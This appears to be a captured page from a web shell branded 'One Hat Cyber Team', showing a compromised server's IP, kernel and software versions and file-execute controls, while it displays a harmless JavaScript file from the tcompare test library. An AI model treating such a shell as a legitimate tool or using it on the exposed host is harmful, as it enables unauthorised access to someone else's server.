⚝
One Hat Cyber Team
⚝
Your IP:
172.22.0.1
Server IP:
151.80.20.34
Server:
Linux 794f04d97d5e 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
Server Software:
Apache/2.4.62 (Debian)
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
node_modules
/
tcompare
/
dist
/
cjs
/
View File Name :
has-strict.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.HasStrict = void 0; const has_js_1 = require("./has.js"); const strict_js_1 = require("./strict.js"); class HasStrict extends has_js_1.Has { test() { const a = this.object; const b = this.expect; // constructor match is relevant to Strict, but HasStrict should // not do that, it's inconvenient, since it means you can't do // hasStrict(new URL('https://x.com/y'), { pathname: '/y' }) // So, for objects, we call Same. Everything else, call Strict. if (a && b && typeof a === 'object' && typeof b === 'object' && Array.isArray(a) === Array.isArray(b)) { return super.test(); } else { return strict_js_1.Strict.prototype.test.call(this); } } } exports.HasStrict = HasStrict; //# sourceMappingURL=has-strict.js.map